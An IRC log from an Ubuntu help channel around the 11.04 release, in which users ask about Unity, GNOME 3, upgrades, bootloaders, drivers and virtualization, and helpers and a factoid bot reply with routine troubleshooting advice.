[14:24] <stimpie> gnuskool: system settings -> appearance
[14:24] <gare> andeeeuk: you are using 11.04 ?   Unity desktop?
[14:25] <andeeeuk> knifepoint thanks
[14:25] <edbian> Sik: Follow this guide to do it: http://ubuntuforums.org/showthread.php?t=1613132
[14:25] <andeeeuk> yes it is unity
[14:25] <knifepoint> oh yeah good point gare I just made an assumption
[14:25] <edbian> Sik: Scroll down to the bit that says 'how to permanently set kernel boot options on an install os (not wubi)
[14:25] <researcher123> I deleted earlier user account but preserved its home folder.I want to give full acess to the new user to the Home folder of earlier deleted user
[14:25] <edbian> Sik: It's in the first post.
[14:25] <Sik> edbian: checking. Though it depends, sometimes it crashes at the console, sometimes it works fine until after the login screen (then X hangs)
[14:26] <edbian> Sik: Try nomodeset.  It is a very common solution :)
[14:26] <Sik> Um, I should check the acpi stuff too, since in the Xorg logs it also complained about ACPI
[14:26] <Sik> Will try nomodeset first though :P
[14:26] <gare> files & folders. cool thanks knifepoint
[14:27] <edbian> Sik: ok
[14:27] <red> Anyone using Google Chrome with Natty and has chromes own minime\max\close buttons
[14:27] <andeeeuk> knifepoint that seems to be for 10.10
[14:27] <red> if I click "use OS menu bar" i get double ubuntu buttons
[14:28] <xsinick_laptop> I head gnome3 is ever worst than unity
[14:28] <andeeeuk> will that remove it from the the "files and folder" in the menu?
[14:28] <stimpie> xsinick_laptop: that must be awful then ;-)
[14:28] <andeeeuk> dont install gnome3 at all!!!! it is a state WARNING!!! :p
[14:28] <mstef> anyone use qutecom? unity won't let me dock it..wonder why
[14:29] <ratcheer> xsinick_laptop: I like Gnome3 much better than Unity. I tried to like Unity, but I couldn't.
[14:29] <ramvi> What files redirect my traffic? I try to enter some.domain.com, but I'm redirected to my server. I can see it doing a traceroute. I've checked /etc/hosts but it dosn't contain any info about some.domain.com
[14:29] <andeeeuk> gnome3 destroys everything if you are not careful
[14:30] <ratcheer> andeeeuk: In what way does it destroy things. I am only having trouble with my Firefox appl icon turning generic.
[14:32] <acon543> is there an application which find urls for video streams
[14:33] <Lectus> Hello! I installed python 2.7 on Ubuntu 10.10. How can I make it my default python instead of 2.6 without upgrading the distribution to 11.04?
[14:33] <gare> acon543:  streamripper
[14:33] <gnuskool> stimpie: no, tried that, you can customize a theme...but no option to change the colour of the panel
[14:33] <r0hit> acon543: DownloadHelper, ffox addon
[14:34] <gnuskool> stimpie: or text appearing on that panel
[14:34] <andeeeuk> ratcheer, well i did upgrade from unity but it destory everything i couldnt log into gnome - unity and gnome3 was not working as it should do
[14:34] <gnuskool> stimpie: infact, there is no control that has anything to do with the gnome panel that I can see
[14:34] <andeeeuk> rubbish all i can say :s
[14:34] <op_amp> I upgraded to Natty but I am unable to log in. It gave some error - unable to load kernel (fail) and Start error log(fail). Rest process were Ok.
[14:35] <stimpie> gnuskool: It does  take the color belonging to the theme?
[14:35] <ratcheer> andeeeuk: How did you upgrade?
[14:35] <trap24> well, why the Firefox in Ubuntu suddenly is with so low quality image rendering :? :/
[14:35] <op_amp> currently I logged in after going in recovery and load in low graphic mode(don't remember exactly)
[14:35] <andeeeuk> ratcheer i upgraded from the repository
[14:35] <Maimster> How's everyone doing?
[14:35] <andeeeuk> ratcheer, not the best was to do it but was so shocked
[14:36] <rob_p> Maimster: Awesome!  How about you? :)
[14:36] <Maimster> Nothing to complain about so pretty good.
[14:36] <josip> Hello, I installed Uubntu 11.04 and when I start  awesome the only thing I see is a background
[14:36] <josip> anyone with an idea what causes this?
[14:37] <karthick87> How to install shockwave player in ubuntu 10.10 ?
[14:37] <Maimster> rob_p: You ubuntu treating you well?
[14:37] <rob_p> Maimster: Good to hear!  I'm just winding down at work, hoping to pack my things up and head home in the next hour or so!
[14:37] <edbian> josip: press alt + sysRequest + K to log out.  CLick you name, change the session, log in
[14:37] <zhenbeiju55> ?
[14:37] <rob_p> Maimster: Yeah, Ubuntu's been very good to me thus far!
[14:37] <sss314> How can I make a Start Up USB with non-Ubuntu ISO?
[14:37] <zhenbeiju55> test
[14:38] <Maimster> rob_p: Excellent! I just started my workday!! 8 hours to go.
[14:38] <josip> edbian: I want to fix the problem, not to log in with a differnet wm
[14:38] <ratcheer> andeeeuk: Sorry that happened to you. I've upgraded two systems to Gnome3 from PPA with only a couple of small problems.
[14:38] <mitoni> Any idea how to install unity on archlinux? Their package at AUR is outdated.
[14:38] <rob_p> Maimster: What do you do?
[14:38] <aeon-ltd> !shockwave | karthick87
[14:38] <ubottu> karthick87: shockwave is currently only available for Windows. To run it under !Wine, see https://help.ubuntu.com/community/Shockwave
[14:38] <Maimster> rob_p: Computer repair, nothing special.
[14:38] <edbian> josip: Try the other ones.  I suspect you choose 'netbook edition 2nd' or something that should not be there.  Additionally, just see if any of them work
[14:38] <andeeeuk> ratcheer, good stuff. Does look good but going to wait till it is stable in ubuntu
[14:38] <karthick87> aeon-ltd: Thank you
[14:39] <josip> edbian: no, I am running the 64bit 11.04 Ubuntu. I installed awesome from the official ubuntu repositories
[14:39] <josip> and I don't want to try other ones, I want awesome to work
[14:39] <trap24> how to make pidgin the default msging application in ubuntu LTS
[14:39] <aeon-ltd> karthick87: heh there is better stuff on the web. maybe one day we can have no proprietry plugins
[14:39] <rohan> i read somewhere that "You can now upgrade to Ubuntu 11.04 using the Live CD" -- can someone tell me how this works?
[14:39] <trap24> the empathy simply sucks in IRC
[14:39] <rob_p> Maimster: Ahh well, that sounds interesting!
[14:39] <edbian> josip: Awesome is causing the blank screen?  Does it have the awesome bar?
[14:39] <andeeeuk> when you search for files from the menu, then click on the file. How can you get it to open with the correct application as this does not work at all?
[14:40] <josip> edbian: nope
[14:40] <andeeeuk> any help appreciated
[14:40] <Maimster> rob_p: Yeah I talked some of the local businesses in the area to use me for their IT needs.
[14:40] <Zeeofu> How do I enable desktop effects in ubuntu 11.04?
[14:40] <josip> I suspect it has soemthing to do with unity. https://bugs.launchpad.net/ubuntu/+source/metacity/+bug/731329
[14:40] <ubottu> Ubuntu bug 731329 in metacity (Ubuntu) "Broken upgrade to Natty: no Awesome WM because of Compiz/Metacity autostart" [Undecided,New]
[14:40] <josip> but the workarouind propsosed there didn't work for me
[14:40] <phalcore> join ubuntu-pl
[14:41] <edbian> josip: I haven't used awesome in a long time.  Do you have to configure it before you use it?
[14:41] <phalcore> lol sry
[14:41] <aeon-ltd> !compiz | Zeeofu
[14:41] <ubottu> Zeeofu: Compiz (compositing window manager), for a howto see http://help.ubuntu.com/community/CompositeManager and more help #compiz
[14:41] <r0hit> Zeeofu, install compiz-plugins and compizconfig-settings-manager from synaptic
[14:41] <Moopz> So, I've been searching but can't find an answer. Is it possible to upgrade from 10.04 to 11.04 directly without upgrading to 10.10? And would upgrading affect anything on my computer, i.e. break something?
[14:41] <josip> edbian: I'm using my config file that used to work perfectly fine uuntil I upgraded
[14:41] <botcity> rohan, you mean upgrade if you have not got internet access
[14:41] <rob_p> Maimster: That's great...created your own job!  I did that once.  Worked out well for a year or two and then moved on to other things.
[14:42] <Pici> Moopz: No. You must go through intermediary versions. The only time this isn't the case is when you are upgrading from one LTS release to the next, and 11.04 is not an LTS.
[14:42] <Zeeofu> ubottu, is there any default program, there used to be one in ubuntu 10.10
[14:42] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[14:42] <sss314> How can I make non-Ubutntu bootable CD?
[14:42] <Zeeofu> is there any default program, there used to be one in ubuntu 10.10
[14:42] <rohan> botcity: well, i am in interested in the technical side of how a livecd upgrade was implemented.
[14:42] <Moopz> Pici, oh? I thought all xx.04 versions were LTS?
[14:42] <andeeeuk> when clicking on file from menu in unity it trys to open the location though as it is a file it fails to open
[14:42] <edbian> josip: I'm not sure then.  No experience with this.  My advice is to look around for somebody that has had the same problem and then try a default config file (back yours up obviously).
[14:42] <Maimster> rob_p: lol, nice. I'm working on my 8th year.
[14:42] <andeeeuk> anyone know why this is?
[14:42] <thiebaude> !lts
[14:42] <ubottu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[14:43] <aeon-ltd> Zeeofu: compiz is the default one
[14:43] <rob_p> Maimster: Anyway, we're going to get yelled at for visiting and not talking strictly Ubuntu support, so we probably better get back on topic, hehe! :)
[14:43] <Moopz> Pici, any idea when the next LTS version is coming then?
[14:43] <Maimster> rob_p: Oops. ttly!!
[14:43] <bazhang> Moopz, 12.04
[14:43] <Zeeofu> aeon-ltd, thanks
[14:43] <edouard_lopez> hi there, I got a bash snippet running a python script that got stuck<
[14:43] <edouard_lopez> the bash script is in the 'do_wait' state after an ethernet shutdown. How could I resume it ?
[14:43] <Zeeofu> !compiz
[14:43] <ubottu> Compiz (compositing window manager), for a howto see http://help.ubuntu.com/community/CompositeManager and more help #compiz
[14:44] <tomek__> Siema
[14:44] <bazhang> !pl | tomek__
[14:44] <ubottu> tomek__: Na tym kanale używamy tylko języka angielskiego. Możesz uzyskać pomoc w języku polskim na #ubuntu-pl.
[14:44] <rob_p> Maimster: I'm also in #ubuntu-offtopic
[14:44] <w00tw00tw00t> hi, i have a 2nd hdd and i wanna transfer my ubuntu installation onto it. i recreated all the partitions and copied all the files over. i set the boot flag of the boot parition on. yet, it can't boot. any ideas?
[14:45] <tomek__> wie ktos moze jak skonfigurowac wine bym mial wiecej fps w World of Warcraft( teraz mam ok 20)
[14:45] <r0hit> w00tw00tw00t, install grub on the new HDD partition
[14:45] <bazhang> tomek__, #ubuntu-pl
[14:45] <w00tw00tw00t> will it auto create fstab?
[14:45] <w00tw00tw00t> i think the UUIDs will be all different...
[14:45] <r0hit> w00tw00tw00t, no, you'll have to update that yourself as well
[14:45] <r0hit> yes
[14:46] <w00tw00tw00t> grub2, is it?
[14:46] <gnuskool> stimpie: had to change theme entirely to get anything, thx for your help
[14:46] <damiano546> hello
[14:46] <botcity> rohan, not sure about that but i bet google knows :)
[14:46] <r0hit> w00tw00tw00t, :)
[14:47] <gnuskool> Is there a button or something to clear the screen to desktop?
[14:47] <rohan> botcity: i'm trying to find but i can't :)
[14:47] <stimpie> <special> + D
[14:47] <aeon-ltd> gnuskool: theres a button you can add to gnome panel to do that
[14:48]  * vibhav is ready to help others!!
[14:48] <gnuskool> aeon-ltd: thx
[14:48] <botcity> rohan, http://ubuntuforums.org/showthread.php?t=572819 its an old thred though
[14:48]  * vibhav is looking if anybody is having a problem!
[14:48] <aeon-ltd> gnuskool: heh you should thank stimpie first :)
[14:48] <rohan> botcity: ty :)
[14:48] <gnuskool> vibhav: lol, shouldnt be too hard to find someone
[14:49]  * rob_p thanks vibhav for being available... and announcing it! :)
[14:49] <vibhav> You are welcome rob_p do you have any problem?
[14:49] <Sik> Well, nomodeset doesn't work!
[14:49] <gnuskool> aeon-ltd: I did just before :D
[14:50] <waldir> does the update to natty change the location of X11 libs? I have a software package whose build is breaking for not finding some X11 libs (/usr/lib/libSM.so, /usr/lib/libICE.so, etc.)
[14:50] <Jessica175> Hi All.  anyone tried putting VMware on U11?
[14:50] <Sik> Stupid question, what does vt.handoff=7 in the argument list do? (curious)
[14:50] <damiano546> i have a chroot env...i have to create some hard links...my question is: the user that will use the chroot env can follow this hardlink and do some changes at the system? if i create an hardlink to /etc/resolv.conf the user can change it? is better to copy or hardlinks? mi have many chroot ....
[14:50] <acon543> r0hit: in that DownloadHelper my site is not in supported list, do you know other applications
[14:50] <w00tw00tw00t> shucks, i read the ubuntu docs but i cant get info to install grub2 onto my new hdd. grub-install /dev/sdb ???
[14:50] <rob_p> vibhav: Hmm...let me think...Nope!  But if I think long enough, I'm sure I can come up with *something*!
[14:50] <vibhav> <Jessica175> I use Virtual Box , its better than VMWare
[14:50] <stimpie> Sik: places X on tty7
[14:50] <Jessica175> vibhav, really?  why is that?
[14:50] <vibhav> <rob_p> Then thin kbaby think!
[14:50] <Sik> OK... yet I get it with Ctrl+Alt+F1 >.>' Eh, whatever
[14:51] <rob_p> vibhav: Haha...yeah! :)
[14:51] <r0hit> acon543, it works for flash videos on _most_  sites regardless
[14:51] <stimpie> Sik: exactly
[14:51] <vibhav> <Jessica175>  Cause VirtualBox is just better
[14:51] <gnuskool> Jessica175: made by sun/oracle ...open source ...erm its open source
[14:51] <Sik> stimpie: wouldn't that be Ctrl+Alt+F7 for terminal #7?
[14:51] <vibhav> <Jessica175> Yeah ! Ubuntu is for Open Source
[14:52] <rob_p> Jessica175: I've had great success with vmware server on some of the older Ubuntu LTS's.
[14:52] <Vhozard> hmm, how can I add things to ma ubuntu panel?
[14:52] <Jessica175> Yeah, I hear ya.  But why?  I have vmware on a XP box and it works great.
[14:52] <stimpie> virtualbox is good but not better then vmware
[14:52] <r0hit> btw is OpenGL supported in vmware player?
[14:52] <vibhav> <r0hit> I dont think so
[14:52] <rob_p> Jessica175: I also run vmware fusion on my Macs and it's a dream!
[14:53] <rob_p> Jessica175: So my opinion is that vmware is quite good!
[14:53] <Jessica175> ok, ok.  I understand the opensource argument, but I'm an RN and I don't have the time to learn a new app if the one I already know works fine.
[14:53] <r0hit> vibhav, ahhh and then we have a winner! atleast for the average joe users ;)
[14:53] <sss314> How do I burn non-Ubuntu ISO images to USB stick?
[14:53] <vibhav> r0hit = lol
[14:53] <Abhijit> sss314, unetbootin
[14:53] <haitham> Hi, how can i install an earlier version for an application? I'm trying to Install skype (latest version doesn't work w/ my laptop) but I read on forums that earlier versions worked just fine, but the website shows only the latest version (2.2 BETA) is there like a code option on apt-get to define the version?
[14:54] <stimpie> Jessica175:  I tried vmware on a beta, it ran fine. Just stick to vmware if you like it
[14:54] <Abhijit> sss314, if its operating system iso that is.
[14:54] <sss314> Abhijit, ok I'll try that
[14:54] <Jessica175> I want to run a VM w/ microXP or tinyXP so I can watch netflix on that box.  I had probs getting it running on 10.10.  I've just loaded 11 and wanted some tips before trying again.
[14:54] <damiano546> ??
[14:55] <damiano546> i have a chroot env...i have to create some hard links...my question is: the user that will use the chroot env can follow this hardlink and do some changes at the system? if i create an hardlink to /etc/resolv.conf the user can change it? is better to copy or hardlinks? i have around 40-50 chroot ENVs
[14:55] <compdoc> netflix doesnt work on ubuntu?
[14:55] <Jessica175> nope
[14:55] <Jessica175> bastards
[14:55] <waldir> Hi all. does anyone know whether the Ubuntu update to natty changes the location of X11 libs? I have a software package whose build is breaking for not finding some X11 libs (/usr/lib/libSM.so, /usr/lib/libICE.so, etc.)
[14:55] <vibhav> <Jessica175> http://www.google.com/url?sa=t&source=web&cd=2&ved=0CCkQtwIwAQ&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZuyPJFhVTxQ&rct=j&q=netflix%20ubuntu&ei=ZwnATcawEtHOrQfioYXfAw&usg=AFQjCNEXXf95bUghXyffYFe2TPJHDPz-Fg&cad=rja
[14:56] <vibhav> <Jessica175> http://www.youtube.com/watch?v=ZuyPJFhVTxQ
[14:56] <compdoc> sadly, running a VM doesnt do any better, since you have to use vnc to connect to it. Theres something called the SPICE protocol that is supposed to work much better
[14:56] <shiftmonkeyking> join #kohana
[14:56] <haitham> Hi, how can i install an earlier version for an application? I'm trying to Install skype (latest version doesn't work w/ my laptop) but I read on forums that earlier versions worked just fine, but the website shows only the latest version (2.2 BETA) is there like a code option on apt-get to define the version?
[14:56] <shiftmonkeyking> #kohana
[14:56] <Jessica175> thx for the link vib
[14:57] <vibhav> <Jessica175> No prob!
[14:57] <jatt> !pinning
[14:57] <ubottu> pinning is an advanced feature that APT can use to prefer particular packages over others. See https://help.ubuntu.com/community/PinningHowto
[14:57] <Jessica175> compdoc, no... I'll use the vm from the console
[14:57] <mrcreativity> can someone please tell me why the desktopnova indicator doesnt show in unity?
[14:57] <compdoc> Jessica175, it still connects with vnc
[14:58] <Sik> "[    17.370] (WW) Open ACPI failed (/var/run/acpid.socket) (No such file or directory) " <-- What does this mean? It's in my X logs >.>'
[14:58] <damiano546> nobody could help me?
[14:58] <teb2> Anyone here have any idea why the installer front for ubuntu 10.4 and 11.4 just blinks/flashes when i select "install on harddisk) Its a HP DL380g7
[14:58] <Jessica175> do you mean that the console connects to the VM via VNC?
[14:58] <Dr_Willis> mrcreativity:  theres a whitelist/blacklist of what apps can show up as indicator applets.  could be  you need to mess with that list.
[14:59] <Vhozard> so there is no way to add applets to the Ubuntu panel ??
[14:59] <Dr_Willis> mrcreativity:  check http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[14:59] <mrcreativity> oh...had no idea. any idea where i can get the list?
[14:59] <mudtar> Right now, in Ubuntu 11.04 (with Unity), I have to hover over the top menu bar before the menu options appear, overlaying the title. Is there a way to get them to be there all the time, without my mouse hover?
[14:59] <Dr_Willis> Vhozard:  theres ways to let various applets show up at the top right.. see that url i posted
[14:59] <Dr_Willis> mudtar:  yes there is - see that url i posted.. :)
[14:59] <mrcreativity> tyvm
[15:00] <mudtar> Ah, I missed it Dr_Willis. Can you link me once more?
[15:00] <Dr_Willis> I find the hidding menus also very ugly
[15:00] <Dr_Willis> Wantign to tweak unity and do some other things that Ubuntu wont let you do by default? ---> :  check http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[15:01] <Vhozard> thanks Dr_Willis
[15:01] <mudtar> Thanks, Dr_Willis. :)
[15:02] <buhman> I'm running the 11.04 livecd and my wireless doesn't work
[15:02] <teb2> i must add that it is the server only version of the iso
[15:02] <Dr_Willis> I also have found several apps taht dont play nicely with the global menu. theuy just dont have any menus at all.
[15:02] <Jessica175> re: netflix:  do you mean that the console connects to the VM via VNC?
[15:02] <buhman> the interesting thing is that it does work in debian squeeze, but not debian wheezy (which would have more similar packages to natty)
[15:02] <buhman> how might I go about diagnosing the problem?
[15:02] <mudtar> Dr_Willis, I find that's true with Chromium. :\
[15:03] <Dr_Willis> mudtar:  i found it an issue with many of the simpiler programs that came with my lubuntu desktip install also.
[15:03] <Dr_Willis> plus it just looks sort of Ugly half the time with the title getting overwritten by the menu text  in many cases.
[15:03] <mudtar> Firefox plays quite nicely, but not Chrome. I'll get around to fixing it someday, but for now I'll use Firefox because of it.
[15:03] <tyler_d> can someone please pastbin their /etc/init.d/openvpn for me... I am getting a syntax error somewhere in mine?
[15:05] <Baram> I just updated (10.04 64bit) after being gone for a while (175 updates) and I know a new version of both firefox and chrome were in there, now I cannot type Korean in either (but can in all other programs)
[15:05] <rob_p> tyler_d: Why did you modify openvpn's init script?
[15:05] <roasted> Does anybody here have a preference at which point they install Unity 2D over 3D?
[15:05] <tyler_d> rob_p:  being foolish
[15:05] <vibhav> <roasted> Can you explain more please?
[15:06] <roasted> vibhav, I'm just curious at which point (hardware wise) people prefer 2D over 3D
[15:06] <rob_p> tyler_d: Well, *sometimes* that has to be done for legit reasons.  I was just curious!
[15:07] <aeon-ltd> roasted: is it slow? use 2D, like lightning? use 3D for more bling :)
[15:07] <vibhav> <roasted> Nice Hardware = 3d or 2d
[15:07] <tyler_d> rob_p: I was trying to sort out an upstart issue; however something got borked and of course I saved it right
[15:07] <rob_p> tyler_d: On one of my server installs, I had to mod mine in order to have some custom preparatory scripts execute just before starting the openvpn process.
[15:07] <aeon-ltd> roasted: personally i wouldn't use either, i feel that UIs like unity slow things down more
[15:07] <gare> hi -- ok.  I want to believe the Unity is also for 'power users'.  Does anyone else share my hope / have any comments supportive of this belief?  (I read in press how Unity was not designed for power users.. )
[15:07] <buhman> is it possible to remove the ugly sidebar and replace the top-left unity button with a more traditional gnome menu?
[15:07] <mbeierl> there's a unity 3d?  like the compiz cube concept on unity?
[15:08] <Krishnandu> Hi guys, I can't boot using newest kernel after upgrading to Natty, The screen remains blank. Though I can boot using "Previous Version"
[15:08] <bazhang> buhman, choose gnome classic at login
[15:08] <jw_> Any idea if ubuntu will soon release patches to fix unity/other misc bugs?
[15:08] <rob_p> tyler_d: I see. None of my openvpn installs are recent enough to use upstart so my init scripts won't help you.
[15:08] <roasted> aeon-ltd, that is definitely not what I asked, but thanks anyway.
[15:08] <buhman> bazhang: but I kinda like other parts of this interface
[15:08] <blackbit> gare: I am a power user and like it. Its nead and orderly, and I like it even if I am not a noob
[15:08] <sipior> gare: if you can use it to launch a terminal, it is fine for "power users". :-)
[15:08] <buhman> bazhang: I just don't like the lack of a real menu and the sidebar is just too colorful
[15:08] <bazhang> buhman, there's unity-2d , limited customisation afaik
[15:08] <aeon-ltd> roasted: sorry, but yeah unity's nice - in eye candy terms anyway :)
[15:09] <Dr_Willis> jw_:  i imagione we will be getting a steady flow of patches over the next few months. :)
[15:09] <roasted> aeon-ltd, it's nice all around, if you ask me. As a former hater I'm swallowing my words as I see all of the benefits in usability now that I've used it for a few weeks.
[15:09] <eekTheCat> Could someone give the value of their errorformat in vim? :set errorformat
[15:09] <jw_> no customization is really disappointing, that's why I moved to linux. If I wanted to be forced into a style I'll just stick with windows or mac
[15:10] <tyler_d> rob_p: alternately how would I force re-install?
[15:10] <jrib> jw_: keep in mind you have a choice in window managers
[15:10] <buhman> my close, minimize, and maximize buttons are on the wrong side of the windows too
[15:10] <gare> blackbit: glad to hear it.  Thank you.  I have the keyboard shortcut wallpaper and love the 3 d type layering of workspaces ...  + yes sipior thanks good point.  Ctrl + Alt + T works great!  :)
[15:10] <mbeierl> is it possible to configure workspace switching in unity to react to mouse events?  For example, I use mouse wheel up/down at the edges to flip the cube face in compiz.
[15:10] <Dr_Willis> !controls
[15:10] <ubottu> In Lucid, the minimize, maximize, and close buttons have been moved to the left side. For more information, please see https://bugs.launchpad.net/ubuntu/+source/light-themes/+bug/532633/comments/564
[15:10] <buhman> somehow I think ubuntu's probably made the first left-handed window manager
[15:10] <jw_> yeah I looked at classic, but am concerned that they will force unity in 11.10
[15:10] <stimpie> eekTheCat: https://gist.github.com/953393
[15:10] <rob_p> tyler_d: If all else fails, you can --purge remove the package and then reinstall it.  That will replace the init script with a default version.  Just remember to *always* make a backup of the file before you start messing with it.  It's a good habit to get in to.  I forced myself to start doing that over 10 years ago when I first started learning Linux and I still do it now! :)
[15:11] <buhman> didn't know that was possible
[15:11] <Dr_Willis> buhman:  ive seen other wms with them on the left over the years. :) not many.. but some
[15:11] <damiano546> i have a chroot env...i have to create some hard links...my question is: the user that will use the chroot env can follow this hardlink and do some changes at the system? if i create an hardlink to /etc/resolv.conf the user can change it? is better to copy or hardlinks? mi have many chroot ....
[15:11] <damiano546> someone read my message?^
[15:11] <Dr_Willis> buhman:  ive seen them up/down on the side also..
[15:11] <Jessica175> arrgh...  now i'm pissed.  just upgraded? to 11 and it lost my netdrivers along the way!  That machine is hanging above my treadmill, so I always maintain it via VNC.  Now I need to install drivers while walking uphill?!?!  grumbles
[15:11] <drake_> exit
[15:11] <buhman> Dr_Willis: what else does that?
[15:11] <sipior> jw_: they didn't force gnome or kde on you; why would unity be any different? you'll *always* have the option to choose what you want.
[15:12] <sipior> jw_: it may just be a bit more work...
[15:12] <mbeierl> Dr_Willis: was that controls factoid meant for me?
[15:12] <Dr_Willis> buhman:  i recall wmx doing it that way. and some other very minimal wm's
[15:12] <rob_p> tyler_d: You can purge the current install with, "sudo apt-get --purge remove openvpn" and once it finishes, do, "sudo apt-get install openvpn" and that *should* get you back to default configs, init scripts, etc for openvpn.
[15:12] <Dr_Willis> buhman:  ive seem WM's with no controls at all. :)
[15:12] <Dr_Willis> bbl
[15:13] <eekTheCat> stimpie, thank you. mine seems to be a bit screwy. trying to figure out if it's an ubuntu issue or something I did. :)
[15:13] <constl> I've just an ubuntu natty on my network but can't actually ping it from the other pcs using its hostname (ping does work). Any tips?
[15:13] <tyler_d> rob_p: worked like a charm, tyvm
[15:13] <rob_p> tyler_d: welcome :)
[15:13] <mbeierl> does iphone tethering work in Natty?
[15:14] <mbeierl> sorry - iphone 4 tethering
[15:14] <jw_> I guess Im just real happy with 10.10 - I liked having all the eye candy which doesnt seem to work well in 11.
[15:14] <Krishnandu> Guys any idea?? Can't boot with Newest Kernel after upgrading to Natty, the screen goes black and nothing happens after that. After surfing Ubuntu Forums looks like many guys are facing the same problem. So any fix yet??
[15:14] <sipior> constl: add the machine to /etc/hosts, or whatever local name service you employ.
[15:14] <vega> mbeierl: at least used to work in maverick, so one would suppose yes..
[15:15] <multipass_> what do you mean by tethering mbeierl?
[15:15] <mbeierl> multipass_: where the iphone is used as a cellular modem for the attached os.  over usb
[15:16] <multipass_> mbeierl, ah ok, not sure on that one. but on my iphone4 i can get root access and transfer music now, so much better chance
[15:16] <mbeierl> vega: it works with a PPA under maverick.  I have found confirmed bug reports of it not working in natty with no recent progress so was not sure if it was a beta issue or still there
[15:16] <Logan_> bug 717914
[15:16] <ubottu> Launchpad bug 717914 in linux (Ubuntu) "iphone usb internet tethering gives no ip, while bluetooth does" [High,Confirmed] https://launchpad.net/bugs/717914
[15:16] <eekTheCat> Krishnandu, you probably want to check launchpad for something like that
[15:16] <Logan_> mbeierl: ^
[15:17] <josiahjos> hi
[15:17] <ChangeMod> hi ! is there a way when doing chmod -R to change the mod of hidden files ?
[15:17] <Logan_> mbeierl: It seems to have broken in Natty.
[15:17] <mbeierl> Logan_: yep, that's the one. looks like that a big no, thanks!
[15:17] <vega> mbeierl: ok sorry, i've only used through bluetooth
[15:17]  * mbeierl cancels upgrade...
[15:17] <Logan_> mbeierl: I would add yourself to the CC list for that bug so that you can get an e-mail when it's fixed.
[15:17] <ubuntu-user> hi! whats the best gps software for ubuntu?
[15:17] <mbeierl> Logan_: doing that now, thanks!
[15:18] <Logan_> !best | ubuntu-user
[15:18] <ubottu> ubuntu-user: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[15:18] <Logan_> !gps | ubuntu-user
[15:18] <ubottu> ubuntu-user: Street mapping and GPS navigation software available for Ubuntu includes Navit, MoNav (http://code.google.com/p/monav/), Gosmore (free vector maps from OSM), GpsDrive (GTK, raster maps, free), !GoogleEarth (Qt, proprietary vector maps, proprietary)
[15:18] <ubuntu-user> im just want to install my ubuntu with gps apps if anyone could suggest
[15:19] <eekTheCat> every new Ubuntu release seems to have a lot of regressions.
[15:19] <auToeXeC> Im using ubuntu 10.10. To upgrade to 11.04, How much data I've to download ?
[15:19] <ubuntu-user> awesome thnx. ya for car navigation :)
[15:19] <eekTheCat> auToeXeC, depends on what you have installed. it will tell you if you try
[15:19] <Baram> I just updated (10.04 64bit) after being gone for a while (175 updates) and I know a new version of both firefox and chrome were in there, now I cannot type Korean in either (but can in all other programs)
[15:20] <eekTheCat> auToeXeC, and give you a chance to abort
[15:20] <ubuntu-user> one more question. since i like gnome 3.2x most. how long maverick will last?
[15:20] <auToeXeC> eekTheCat, Okay. I'll try.
[15:21] <Zahrada> is there a good tool to modify grub for ubuntu?
[15:22] <eekTheCat> Zahrada, a text editor :-P
[15:22] <Zahrada> Well, that's the kind I hope to avoid :P
[15:23] <ggabor_> hi .. Im updated 10.10 to 11.04 and when i choose in the grub ubuntu kernel always only restart the PC. I need sombady help
[15:23] <JoeA1> hi, I have installed wine on ubuntu, if I open a text file with double click it is opened with notepad instead of gedit :( how to turn that off?
[15:23] <buhman> what's wrong with my wireless? http://imagebin.org/index.php?mode=image&id=151486
[15:23] <mudtar> Dr_Willis, I don't want to uninstall Global Menu completely. I just want to make it so that it's set the menu never hides. So that I don't have to bring my cursor up there before the menu shows up. Do you know how to do that?
[15:23] <buhman> that seems to happen in any recent kernel
[15:24] <Logan_> !wine | JoeA1
[15:24] <ubottu> JoeA1: WINE is a compatibility layer for running Windows programs on GNU/Linux - More information: https://help.ubuntu.com/community/Wine - Search the !AppDB for application compatibility ratings - Join #winehq for application help - See !virtualizers for running Windows (or another OS) inside Ubuntu
[15:24] <mudtar> Right now the window title shows constantly, and the menu doesn't come up until my cursor's there.
[15:25] <Lovre> hi all
[15:25] <Lovre> i have a raid controller, and two disks in RAID 1 field. How can i make sure that my Ubuntu recognizes this configuration?
[15:25] <Dbugger> Hello guys
[15:26] <zhanghao> jiarule
[15:26] <Dbugger> Great work with natty. Unity is awesome
[15:26] <eekTheCat> Zahrada, nothing is jumping out at me when I search the repositories. google says a few apps exist, but there don't seem to be official ubuntu packages.
[15:26] <JoeA1> Logan_: oki
[15:26] <JoeA1> thx
[15:26] <yaaar> Lovre: if it's a real hardware raid, ubuntu will just see it as a single scsi disk. if it's fakeraid, hilarity ensues...
[15:27] <yaaar> Lovre: you know what chipset etc. it is?
[15:27] <Lovre> yaaar: its a hardware raid, but shouldnt i have a raid driver?
[15:27] <Lovre> yaaar: yes...
[15:28] <dios_mio> keyboard layouts broken!! new windows always imputed the active window's layout, no matter what you pick in the preferences
[15:28] <blink> just upgraded to 11.04, removed unity, and installed gnome again.... my CPU is going to 100% on the compiz process now, how can I get hardware accelerated OpenGL back?
[15:29] <OerHeks> blink, logout, and change GDM to classic
[15:29] <Dr_Willis> i wonder what 'installing gnome again' actually installed...
[15:30] <freakynl> OerHeks: just how old are you with a nick like that?
[15:30] <aaron_wayne> what is ctrl+alt f7 now? it is no longer the xwindow, it just takes me to a page that says ok?
[15:30] <OerHeks> me2 Dr_Willis
[15:30] <Dr_Willis> aaron_wayne:  try F6 and F8 ive seen X move around
[15:30] <aaron_wayne> Dr_Willis, yeah, it F8 let me back into the gui, was just curious cause f7 only gives me the screen with ok
[15:31] <Dr_Willis> aaron_wayne:  its another console but no login/tty progr is running on it.
[15:31] <yaaar> Lovre: i mean, obviously you have to have a driver for the chipset, regardless of whether it's raid. but that's not an issue. the question is whether it's one of these "fakeraid" controllers that rely on their fancy (windows) driver to use the CPU/memory to make raid happen. that's wholly different from a real hardware card, which does all the raid stuff on its own and just presents the os...
[15:31] <yaaar> ...with one volume
[15:31] <Dr_Willis> aaron_wayne:  for whatever reason X moved down 1 #
